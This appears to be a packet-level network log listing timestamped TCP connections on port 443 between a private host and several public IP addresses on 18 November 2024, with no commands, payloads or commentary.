Nov 18, 2024 20:21:12.972605944 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.972621918 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:12.972628117 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:13.453108072 CET	49706	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:13.453223944 CET	443	49706	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:13.453346968 CET	49706	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:13.453766108 CET	49706	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:13.453805923 CET	443	49706	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:14.163866997 CET	443	49706	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:14.164006948 CET	49706	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:14.165788889 CET	49706	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:14.165822983 CET	443	49706	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:14.166166067 CET	443	49706	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:14.167823076 CET	49706	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:14.168004990 CET	49706	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:14.168056011 CET	443	49706	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:14.587672949 CET	49675	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:21:14.587804079 CET	49674	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:21:14.728389978 CET	49673	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:21:15.131743908 CET	443	49706	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:15.132014036 CET	443	49706	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:15.132117987 CET	49706	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:15.178791046 CET	49706	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:15.178821087 CET	443	49706	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:15.716869116 CET	49707	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:15.716932058 CET	443	49707	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:15.717021942 CET	49707	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:15.717284918 CET	49707	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:15.717304945 CET	443	49707	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:16.411122084 CET	443	49707	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:16.411261082 CET	49707	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:16.412698984 CET	49707	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:16.412710905 CET	443	49707	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:16.413547039 CET	443	49707	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:16.414992094 CET	49707	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:16.415163994 CET	49707	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:16.415231943 CET	443	49707	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:16.415303946 CET	49707	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:16.415309906 CET	443	49707	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:16.492477894 CET	443	49703	23.1.237.91	192.168.2.5
Nov 18, 2024 20:21:16.492712021 CET	49703	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:21:17.140889883 CET	443	49707	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:17.141007900 CET	443	49707	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:17.141083956 CET	49707	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:17.141248941 CET	49707	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:17.141269922 CET	443	49707	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:17.430788040 CET	49708	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:17.430886984 CET	443	49708	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:17.430993080 CET	49708	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:17.431694984 CET	49708	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:17.431767941 CET	443	49708	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:18.092495918 CET	443	49708	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:18.092684031 CET	49708	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:18.093980074 CET	49708	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:18.094036102 CET	443	49708	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:18.094554901 CET	443	49708	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:18.096051931 CET	49708	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:18.096185923 CET	49708	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:18.096256971 CET	443	49708	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:18.096339941 CET	49708	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:18.096359015 CET	443	49708	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:19.540138006 CET	443	49708	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:19.540443897 CET	443	49708	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:19.540452957 CET	49708	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:19.540492058 CET	49708	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:20.668401957 CET	49709	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:20.668493986 CET	443	49709	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:20.668616056 CET	49709	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:20.668943882 CET	49709	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:20.668991089 CET	443	49709	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:21.389066935 CET	443	49709	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:21.389166117 CET	49709	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:21.390723944 CET	49709	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:21.390752077 CET	443	49709	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:21.391833067 CET	443	49709	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:21.393032074 CET	49709	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:21.393359900 CET	49709	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:21.393372059 CET	443	49709	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:21.657629013 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:21.657675982 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:21.657788992 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:21.658061028 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:21.658072948 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:21.893990993 CET	443	49709	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:21.894274950 CET	443	49709	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:21.894304037 CET	49709	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:21.894377947 CET	49709	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:22.343432903 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:22.343527079 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:22.343821049 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:22.344027996 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:22.344063044 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:22.413733959 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:22.413882971 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:22.416951895 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:22.416965008 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:22.417460918 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:22.426192045 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:22.467345953 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:22.676213980 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:22.676244974 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:22.676358938 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:22.676388979 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:22.676440001 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:22.676481009 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:22.676527977 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:22.794188023 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:22.794223070 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:22.794279099 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:22.794316053 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:22.794332981 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:22.794361115 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:22.913897991 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:22.913932085 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:22.914005041 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:22.914047956 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:22.914074898 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:22.914097071 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.017072916 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.017231941 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.032156944 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.032224894 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.032262087 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.032285929 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.032304049 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.032329082 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.047687054 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.047753096 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.048645973 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.050692081 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.051964998 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.052195072 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.052320004 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.052615881 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.052771091 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.052826881 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.052921057 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.053102016 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.053142071 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.053195000 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.053247929 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.053267956 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.053307056 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.053370953 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.053402901 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.053442001 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.053620100 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.053692102 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.053915024 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.053981066 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.054016113 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.054030895 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.054135084 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.054172039 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.054228067 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.054249048 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.054331064 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.054368973 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.054418087 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.054440022 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.054521084 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.054559946 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.054600954 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.054645061 CET	49711	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:23.064711094 CET	443	49711	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:23.150166035 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.150199890 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.150271893 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.150295973 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.150311947 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.150338888 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.268450975 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.268482924 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.268575907 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.268631935 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.268666029 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.268688917 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.386504889 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.386538982 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.386612892 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.386682034 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.386719942 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.386744022 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.505460024 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.505516052 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.505542994 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.505580902 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.505592108 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.505637884 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.506048918 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.506093979 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.506117105 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.506134987 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.506162882 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.506182909 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.795383930 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.795413971 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.795461893 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.795495987 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.795531034 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.795573950 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.795635939 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.795824051 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.795866013 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.795886993 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.795906067 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.795924902 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.795950890 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.840109110 CET	49712	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:21:23.840154886 CET	443	49712	4.175.87.197	192.168.2.5
Nov 18, 2024 20:21:23.840233088 CET	49712	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:21:23.841933012 CET	49712	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:21:23.841952085 CET	443	49712	4.175.87.197	192.168.2.5
Nov 18, 2024 20:21:23.860162020 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.860187054 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.860229969 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.860238075 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.860280991 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.860299110 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.886972904 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.887020111 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.887046099 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.887068987 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.887092113 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.887111902 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.902563095 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.902642012 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.902678967 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.902721882 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.902769089 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.902818918 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.903136015 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.903167009 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.903192043 CET	49710	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.903207064 CET	443	49710	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.964778900 CET	49713	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.964831114 CET	443	49713	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.964893103 CET	49713	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.965854883 CET	49713	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.965871096 CET	443	49713	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.967961073 CET	49714	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.968008995 CET	443	49714	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.968204975 CET	49714	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.968482018 CET	49714	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.968501091 CET	443	49714	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.970218897 CET	49715	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.970233917 CET	443	49715	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.970284939 CET	49715	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.970562935 CET	49715	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.970577002 CET	443	49715	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.970851898 CET	49716	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.970892906 CET	443	49716	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.970951080 CET	49716	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.972114086 CET	49717	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.972172976 CET	443	49717	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.972234964 CET	49717	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.972265005 CET	49716	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.972281933 CET	443	49716	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:23.972436905 CET	49717	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:23.972456932 CET	443	49717	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.695821047 CET	443	49713	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.698987007 CET	49713	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.699049950 CET	443	49713	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.699546099 CET	49713	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.699599981 CET	443	49713	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.703768969 CET	443	49714	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.706209898 CET	49714	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.706255913 CET	443	49717	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.706291914 CET	443	49714	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.706513882 CET	49717	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.706543922 CET	443	49717	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.706758976 CET	49714	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.706821918 CET	443	49714	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.706927061 CET	49717	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.706938982 CET	443	49717	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.707560062 CET	443	49715	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.707945108 CET	49715	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.708004951 CET	443	49715	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.708465099 CET	49715	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.708519936 CET	443	49715	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.823888063 CET	443	49713	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.823945999 CET	443	49713	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.824069977 CET	443	49713	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.824106932 CET	49713	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.824187994 CET	49713	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.824239016 CET	49713	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.824285030 CET	443	49713	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.824317932 CET	49713	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.824335098 CET	443	49713	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.827080965 CET	49718	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.827126980 CET	443	49718	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.827255011 CET	49718	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.827438116 CET	49718	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.827450991 CET	443	49718	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.837166071 CET	443	49715	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.837222099 CET	443	49715	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.837385893 CET	49715	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.837446928 CET	443	49715	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.837677956 CET	49715	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.837718010 CET	443	49715	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.837743998 CET	49715	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.838084936 CET	443	49715	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.838120937 CET	443	49715	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.838205099 CET	49715	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.839586973 CET	49719	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.839618921 CET	443	49719	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.839672089 CET	49719	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.839770079 CET	49719	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.839780092 CET	443	49719	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.842873096 CET	443	49717	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.843267918 CET	443	49717	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.843328953 CET	49717	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.843384981 CET	49717	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.843393087 CET	443	49717	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.843409061 CET	49717	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.843415022 CET	443	49717	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.845240116 CET	49720	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.845280886 CET	443	49720	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.845359087 CET	49720	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.845453024 CET	49720	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.845468998 CET	443	49720	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.870884895 CET	443	49716	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.871526003 CET	49716	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.871555090 CET	443	49716	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.872138023 CET	49716	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:24.872164965 CET	443	49716	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:24.960146904 CET	443	49712	4.175.87.197	192.168.2.5
Nov 18, 2024 20:21:24.960272074 CET	49712	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:21:24.961877108 CET	49712	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:21:24.961890936 CET	443	49712	4.175.87.197	192.168.2.5
Nov 18, 2024 20:21:24.962413073 CET	443	49712	4.175.87.197	192.168.2.5
Nov 18, 2024 20:21:25.009541988 CET	49712	443	192.168.2.5	4.175.87.197
Nov 18, 2024 20:21:25.010296106 CET	443	49716	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.010451078 CET	443	49716	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.010514975 CET	49716	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.010662079 CET	49716	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.010684013 CET	443	49716	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.010719061 CET	49716	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:25.010725975 CET	443	49716	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:25.014302015 CET	49721	443	192.168.2.5	13.107.246.45
